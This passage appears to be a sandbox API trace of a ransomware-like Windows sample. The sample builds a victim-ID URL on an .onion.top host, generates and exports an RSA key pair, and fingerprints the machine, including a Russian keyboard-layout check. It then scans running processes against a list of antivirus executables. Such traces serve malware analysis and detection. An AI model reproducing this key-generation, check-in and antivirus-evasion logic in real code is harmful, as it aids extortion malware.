lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0039.924] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0039.924] lstrcpyW (in: lpString1=0x4126c4, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0039.924] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0039.924] lstrcpyW (in: lpString1=0x412758, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0039.924] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0039.924] lstrcpyW (in: lpString1=0x4127ec, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0039.924] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0039.924] lstrcpyW (in: lpString1=0x4128be, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0039.924] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0039.924] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x440000 [0039.925] wsprintfW (in: param_1=0x440000, param_2="%s%s" | out: param_1="http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def") returned 50 [0039.925] VirtualFree (lpAddress=0x430000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0039.925] VirtualAlloc (lpAddress=0x0, dwSize=0x123, flAllocationType=0x3000, flProtect=0x4) returned 0x430000 [0039.925] VirtualAlloc (lpAddress=0x0, dwSize=0x515, flAllocationType=0x3000, flProtect=0x4) returned 0x450000 [0039.926] CryptAcquireContextW (in: phProv=0x19fde4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x19fde4*=0x564bb8) returned 1 [0040.142] CryptGenKey (in: hProv=0x564bb8, Algid=0xa400, dwFlags=0x8000001, phKey=0x19fde8 | out: phKey=0x19fde8*=0x565880) returned 1 [0040.693] CryptExportKey (in: hKey=0x565880, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x430000, pdwDataLen=0x19fe1c | out: pbData=0x430000*, pdwDataLen=0x19fe1c*=0x114) returned 1 [0040.693] CryptExportKey (in: hKey=0x565880, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x450000, pdwDataLen=0x19fe18 | out: pbData=0x450000*, pdwDataLen=0x19fe18*=0x494) returned 1 [0040.694] CryptDestroyKey (hKey=0x565880) returned 1 [0040.694] CryptReleaseContext (hProv=0x564bb8, dwFlags=0x0) returned 1 [0040.694] GetUserNameW (in: lpBuffer=0x568828, pcbBuffer=0x19fce8 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19fce8) returned 1 [0040.694] GetComputerNameW (in: lpBuffer=0x5603f0, nSize=0x19fce8 | out: lpBuffer="LHNIWSJ", nSize=0x19fce8) returned 1 [0040.694] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x328) returned 0x0 [0040.694] RegQueryValueExW (in: hKey=0x328, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x564bb8, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x564bb8*=0x0, lpcbData=0x19fc54*=0x2) returned 0x0 [0040.694] RegCloseKey (hKey=0x328) returned 0x0 [0040.695] wsprintfW (in: param_1=0x564bb8, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0040.695] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\International", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x328) returned 0x0 [0040.695] RegQueryValueExW (in: hKey=0x328, lpValueName="LocaleName", lpReserved=0x0, lpType=0x0, lpData=0x566128, lpcbData=0x19fc54*=0x40 | out: lpType=0x0, lpData=0x566128*=0x65, lpcbData=0x19fc54*=0xc) returned 0x0 [0040.695] RegCloseKey (hKey=0x328) returned 0x0 [0040.695] wsprintfW (in: param_1=0x569c38, param_2="%d" | out: param_1="1") returned 1 [0040.695] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Keyboard Layout\\Preload", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x328) returned 0x0 [0040.695] RegQueryValueExW (in: hKey=0x328, lpValueName="1", lpReserved=0x0, lpType=0x0, lpData=0x569c46, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x569c46*=0x30, lpcbData=0x19fc54*=0x12) returned 0x0 [0040.695] RegCloseKey (hKey=0x328) returned 0x0 [0040.695] lstrcmpiW (lpString1="00000409", lpString2="00000419") returned -1 [0040.695] wsprintfW (in: param_1=0x569c38, param_2="%d" | out: param_1="2") returned 1 [0040.695] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Keyboard Layout\\Preload", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x328) returned 0x0 [0040.695] RegQueryValueExW (in: hKey=0x328, lpValueName="2", lpReserved=0x0, lpType=0x0, lpData=0x569c46, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x569c46*=0x30, lpcbData=0x19fc54*=0x80) returned 0x2 [0040.695] GetLastError () returned 0xcb [0040.695] RegCloseKey (hKey=0x328) returned 0x0 [0040.695] wsprintfW (in: param_1=0x5636b8, param_2="0" | out: param_1="0") returned 1 [0040.695] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x328) returned 0x0 [0040.695] RegQueryValueExW (in: hKey=0x328, lpValueName="productName", lpReserved=0x0, lpType=0x0, lpData=0x5661b0, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x5661b0*=0x57, lpcbData=0x19fc54*=0x1e) returned 0x0 [0040.695] RegCloseKey (hKey=0x328) returned 0x0 [0040.695] GetNativeSystemInfo (in: lpSystemInfo=0x19fcb0 | out: lpSystemInfo=0x19fcb0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0040.695] wsprintfW (in: param_1=0x5434b8, param_2="x64" | out: param_1="x64") returned 3 [0040.695] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x3000, flProtect=0x4) returned 0x510000 [0040.696] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0040.699] Process32FirstW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.699] lstrcmpiW (lpString1="AVP.EXE", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="ekrn.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="avgnt.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="ashDisp.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="Mcshield.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="avengine.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="cmdagent.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="smc.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="persfw.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="pccpfw.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="cfp.exe", lpString2="[System Process]") returned 1 [0040.699] lstrcmpiW (lpString1="msmpeng.exe", lpString2="[System Process]") returned 1 [0040.700] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.700] GetLastError () returned 0xcb [0040.700] lstrcmpiW (lpString1="AVP.EXE", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="ekrn.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="avgnt.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="ashDisp.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="Mcshield.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="avengine.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="cmdagent.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="smc.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="persfw.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="pccpfw.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="cfp.exe", lpString2="System") returned -1 [0040.700] lstrcmpiW (lpString1="msmpeng.exe", lpString2="System") returned -1 [0040.700] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.701] GetLastError () returned 0xcb [0040.701] lstrcmpiW (lpString1="AVP.EXE", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="ekrn.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="avgnt.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="ashDisp.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="Mcshield.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="avengine.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="cmdagent.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="smc.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="persfw.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="pccpfw.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="cfp.exe", lpString2="smss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="msmpeng.exe", lpString2="smss.exe") returned -1 [0040.701] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.701] GetLastError () returned 0xcb [0040.701] lstrcmpiW (lpString1="AVP.EXE", lpString2="csrss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="ekrn.exe", lpString2="csrss.exe") returned 1 [0040.701] lstrcmpiW (lpString1="avgnt.exe", lpString2="csrss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="ashDisp.exe", lpString2="csrss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="csrss.exe") returned 1 [0040.701] lstrcmpiW (lpString1="Mcshield.exe", lpString2="csrss.exe") returned 1 [0040.701] lstrcmpiW (lpString1="avengine.exe", lpString2="csrss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="cmdagent.exe", lpString2="csrss.exe") returned -1 [0040.701] lstrcmpiW (lpString1="smc.exe", lpString2="csrss.exe") returned 1 [0040.701] lstrcmpiW (lpString1="persfw.exe", lpString2="csrss.exe") returned 1 [0040.701] lstrcmpiW (lpString1="pccpfw.exe", lpString2="csrss.exe") returned 1 [0040.702] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="csrss.exe") returned 1 [0040.702] lstrcmpiW (lpString1="cfp.exe", lpString2="csrss.exe") returned -1 [0040.702] lstrcmpiW (lpString1="msmpeng.exe", lpString2="csrss.exe") returned 1 [0040.702] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.702] GetLastError () returned 0xcb [0040.702] lstrcmpiW (lpString1="AVP.EXE", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="ekrn.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="avgnt.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="ashDisp.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="Mcshield.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="avengine.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="cmdagent.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="smc.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="persfw.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="pccpfw.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="cfp.exe", lpString2="wininit.exe") returned -1 [0040.702] lstrcmpiW (lpString1="msmpeng.exe", lpString2="wininit.exe") returned -1 [0040.702] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.703] GetLastError () returned 0xcb [0040.703] lstrcmpiW (lpString1="AVP.EXE", lpString2="csrss.exe") returned -1 [0040.703] lstrcmpiW (lpString1="ekrn.exe", lpString2="csrss.exe") returned 1 [0040.703] lstrcmpiW (lpString1="avgnt.exe", lpString2="csrss.exe") returned -1 [0040.703] lstrcmpiW (lpString1="ashDisp.exe", lpString2="csrss.exe") returned -1 [0040.703] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="csrss.exe") returned 1 [0040.703] lstrcmpiW (lpString1="Mcshield.exe", lpString2="csrss.exe") returned 1 [0040.703] lstrcmpiW (lpString1="avengine.exe", lpString2="csrss.exe") returned -1 [0040.703] lstrcmpiW (lpString1="cmdagent.exe", lpString2="csrss.exe") returned -1 [0040.703] lstrcmpiW (lpString1="smc.exe", lpString2="csrss.exe") returned 1 [0040.703] lstrcmpiW (lpString1="persfw.exe", lpString2="csrss.exe") returned 1 [0040.703] lstrcmpiW (lpString1="pccpfw.exe", lpString2="csrss.exe") returned 1 [0040.703] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="csrss.exe") returned 1 [0040.703] lstrcmpiW (lpString1="cfp.exe", lpString2="csrss.exe") returned -1 [0040.703] lstrcmpiW (lpString1="msmpeng.exe", lpString2="csrss.exe") returned 1 [0040.703] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.703] GetLastError () returned 0xcb [0040.703] lstrcmpiW (lpString1="AVP.EXE", lpString2="winlogon.exe") returned -1 [0040.703] lstrcmpiW (lpString1="ekrn.exe", lpString2="winlogon.exe") returned -1 [0040.703] lstrcmpiW (lpString1="avgnt.exe", lpString2="winlogon.exe") returned -1 [0040.703] lstrcmpiW (lpString1="ashDisp.exe", lpString2="winlogon.exe") returned -1 [0040.703] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="winlogon.exe") returned -1 [0040.703] lstrcmpiW (lpString1="Mcshield.exe", lpString2="winlogon.exe") returned -1 [0040.703] lstrcmpiW (lpString1="avengine.exe", lpString2="winlogon.exe") returned -1 [0040.703] lstrcmpiW (lpString1="cmdagent.exe", lpString2="winlogon.exe") returned -1 [0040.703] lstrcmpiW (lpString1="smc.exe", lpString2="winlogon.exe") returned -1 [0040.703] lstrcmpiW (lpString1="persfw.exe", lpString2="winlogon.exe") returned -1 [0040.704] lstrcmpiW (lpString1="pccpfw.exe", lpString2="winlogon.exe") returned -1 [0040.704] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="winlogon.exe") returned -1 [0040.704] lstrcmpiW (lpString1="cfp.exe", lpString2="winlogon.exe") returned -1 [0040.704] lstrcmpiW (lpString1="msmpeng.exe", lpString2="winlogon.exe") returned -1 [0040.704] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.704] GetLastError () returned 0xcb [0040.704] lstrcmpiW (lpString1="AVP.EXE", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="ekrn.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="avgnt.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="ashDisp.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="Mcshield.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="avengine.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="cmdagent.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="smc.exe", lpString2="services.exe") returned 1 [0040.704] lstrcmpiW (lpString1="persfw.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="pccpfw.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="cfp.exe", lpString2="services.exe") returned -1 [0040.704] lstrcmpiW (lpString1="msmpeng.exe", lpString2="services.exe") returned -1 [0040.704] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.705] GetLastError () returned 0xcb [0040.705] lstrcmpiW (lpString1="AVP.EXE", lpString2="lsass.exe") returned -1 [0040.705] lstrcmpiW (lpString1="ekrn.exe", lpString2="lsass.exe") returned -1 [0040.705] lstrcmpiW (lpString1="avgnt.exe", lpString2="lsass.exe") returned -1 [0040.705] lstrcmpiW (lpString1="ashDisp.exe", lpString2="lsass.exe") returned -1 [0040.705] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="lsass.exe") returned 1 [0040.705] lstrcmpiW (lpString1="Mcshield.exe", lpString2="lsass.exe") returned 1 [0040.705] lstrcmpiW (lpString1="avengine.exe", lpString2="lsass.exe") returned -1 [0040.705] lstrcmpiW (lpString1="cmdagent.exe", lpString2="lsass.exe") returned -1 [0040.705] lstrcmpiW (lpString1="smc.exe", lpString2="lsass.exe") returned 1 [0040.705] lstrcmpiW (lpString1="persfw.exe", lpString2="lsass.exe") returned 1 [0040.705] lstrcmpiW (lpString1="pccpfw.exe", lpString2="lsass.exe") returned 1 [0040.705] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="lsass.exe") returned -1 [0040.705] lstrcmpiW (lpString1="cfp.exe", lpString2="lsass.exe") returned -1 [0040.705] lstrcmpiW (lpString1="msmpeng.exe", lpString2="lsass.exe") returned 1 [0040.705] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.705] GetLastError () returned 0xcb [0040.706] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0040.706] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.706] GetLastError () returned 0xcb [0040.706] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0040.706] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0040.706] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.707] GetLastError () returned 0xcb [0040.707] lstrcmpiW (lpString1="AVP.EXE", lpString2="dwm.exe") returned -1 [0040.707] lstrcmpiW (lpString1="ekrn.exe", lpString2="dwm.exe") returned 1 [0040.707] lstrcmpiW (lpString1="avgnt.exe", lpString2="dwm.exe") returned -1 [0040.707] lstrcmpiW (lpString1="ashDisp.exe", lpString2="dwm.exe") returned -1 [0040.707] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="dwm.exe") returned 1 [0040.707] lstrcmpiW (lpString1="Mcshield.exe", lpString2="dwm.exe") returned 1 [0040.707] lstrcmpiW (lpString1="avengine.exe", lpString2="dwm.exe") returned -1 [0040.707] lstrcmpiW (lpString1="cmdagent.exe", lpString2="dwm.exe") returned -1 [0040.707] lstrcmpiW (lpString1="smc.exe", lpString2="dwm.exe") returned 1 [0040.707] lstrcmpiW (lpString1="persfw.exe", lpString2="dwm.exe") returned 1 [0040.707] lstrcmpiW (lpString1="pccpfw.exe", lpString2="dwm.exe") returned 1 [0040.707] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="dwm.exe") returned 1 [0040.707] lstrcmpiW (lpString1="cfp.exe", lpString2="dwm.exe") returned -1 [0040.707] lstrcmpiW (lpString1="msmpeng.exe", lpString2="dwm.exe") returned 1 [0040.707] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.707] GetLastError () returned 0xcb [0040.708] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="msmpeng.exe", lpString2="svchost.exe") returned -1 [0040.708] Process32NextW (in: hSnapshot=0x328, lppe=0x510000 | out: lppe=0x510000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.708] GetLastError () returned 0xcb [0040.708] lstrcmpiW (lpString1="AVP.EXE", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="ekrn.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="avgnt.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="ashDisp.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="Mcshield.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="avengine.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="cmdagent.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="smc.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="persfw.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="pccpfw.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="svchost.exe") returned -1 [0040.708] lstrcmpiW (lpString1="cfp.exe", lpString2="svchost.exe") returned -1 [0040.708] 